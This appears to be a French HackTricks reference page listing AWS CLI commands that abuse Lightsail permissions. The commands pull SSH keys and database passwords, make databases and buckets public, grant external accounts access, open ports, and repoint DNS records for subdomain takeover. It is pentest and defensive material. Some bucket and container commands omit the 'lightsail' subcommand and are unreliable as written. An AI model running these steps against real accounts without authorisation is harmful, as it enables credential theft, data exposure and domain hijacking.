AWS - Lightsail Privesc
Reading time: 6 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Lightsail
Pour plus d'informations sur Lightsail, consultez :
warning
Il est important de noter que Lightsail n'utilise pas les rôles IAM appartenant à l'utilisateur mais à un compte géré par AWS, donc vous ne pouvez pas abuser de ce service pour privesc. Cependant, des données sensibles telles que le code, les clés API et les informations de base de données pourraient être trouvées dans ce service.
lightsail:DownloadDefaultKeyPair
Cette permission vous permettra d'obtenir les clés SSH pour accéder aux instances :
aws lightsail download-default-key-pair
Impact potentiel : Trouver des informations sensibles à l'intérieur des instances.
lightsail:GetInstanceAccessDetails
Cette autorisation vous permettra de générer des clés SSH pour accéder aux instances :
aws lightsail get-instance-access-details --instance-name <instance_name>
Impact potentiel : Trouver des informations sensibles à l'intérieur des instances.
lightsail:CreateBucketAccessKey
Cette autorisation vous permettra d'obtenir une clé pour accéder au bucket :
aws lightsail create-bucket-access-key --bucket-name <name>
Impact potentiel : Trouver des informations sensibles à l'intérieur du bucket.
lightsail:GetRelationalDatabaseMasterUserPassword
Cette autorisation vous permettra d'obtenir les identifiants pour accéder à la base de données :
aws lightsail get-relational-database-master-user-password --relational-database-name <name>
Impact potentiel : Trouver des informations sensibles dans la base de données.
lightsail:UpdateRelationalDatabase
Cette autorisation vous permettra de changer le mot de passe pour accéder à la base de données :
aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>
Si la base de données n'est pas publique, vous pourriez également la rendre publique avec ces autorisations avec
aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible
Impact potentiel : Trouver des informations sensibles dans la base de données.
lightsail:OpenInstancePublicPorts
Cette autorisation permet d'ouvrir des ports vers Internet.
aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
--port-info fromPort=22,protocol=TCP,toPort=22
Impact potentiel : Accéder à des ports sensibles.
lightsail:PutInstancePublicPorts
Cette autorisation permet d'ouvrir des ports sur Internet. Notez que l'appel fermera tout port ouvert qui n'est pas spécifié.
aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
--port-infos fromPort=22,protocol=TCP,toPort=22
Impact potentiel : Accéder à des ports sensibles.
lightsail:SetResourceAccessForBucket
Cette autorisation permet de donner à une instance l'accès à un bucket sans aucune autre information d'identification.
aws set-resource-access-for-bucket \
--resource-name <instance-name> \
--bucket-name <bucket-name> \
--access allow
Impact potentiel : Accès potentiel nouveau à des buckets contenant des informations sensibles.
lightsail:UpdateBucket
Avec cette permission, un attaquant pourrait accorder à son propre compte AWS un accès en lecture sur des buckets ou même rendre les buckets publics pour tout le monde :
# Grant read access to exterenal account
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>
# Grant read to the public
aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true
# Bucket private but single objects can be public
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true
Impact potentiel : Accès potentiel à de nouveaux buckets contenant des informations sensibles.
lightsail:UpdateContainerService
Avec ces autorisations, un attaquant pourrait accorder l'accès à des ECR privés depuis le service de conteneurs.
aws update-container-service \
--service-name <name> \
--private-registry-access ecrImagePullerRole={isActive=boolean}
Impact potentiel : Obtenir des informations sensibles à partir d'ECR privé
lightsail:CreateDomainEntry
Un attaquant disposant de cette autorisation pourrait créer un sous-domaine et le pointer vers sa propre adresse IP (prise de contrôle de sous-domaine), ou créer un enregistrement SPF qui lui permet de falsifier des e-mails depuis le domaine, ou même définir le domaine principal sur sa propre adresse IP.
aws lightsail create-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0
Impact potentiel : Prise de contrôle d'un domaine
lightsail:UpdateDomainEntry
Un attaquant disposant de cette autorisation pourrait créer un sous-domaine et le pointer vers sa propre adresse IP (prise de contrôle de sous-domaine), ou créer un enregistrement SPF qui lui permet de falsifier des e-mails depuis le domaine, ou même définir le domaine principal sur sa propre adresse IP.
aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0
Impact potentiel : Prise de contrôle d'un domaine
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.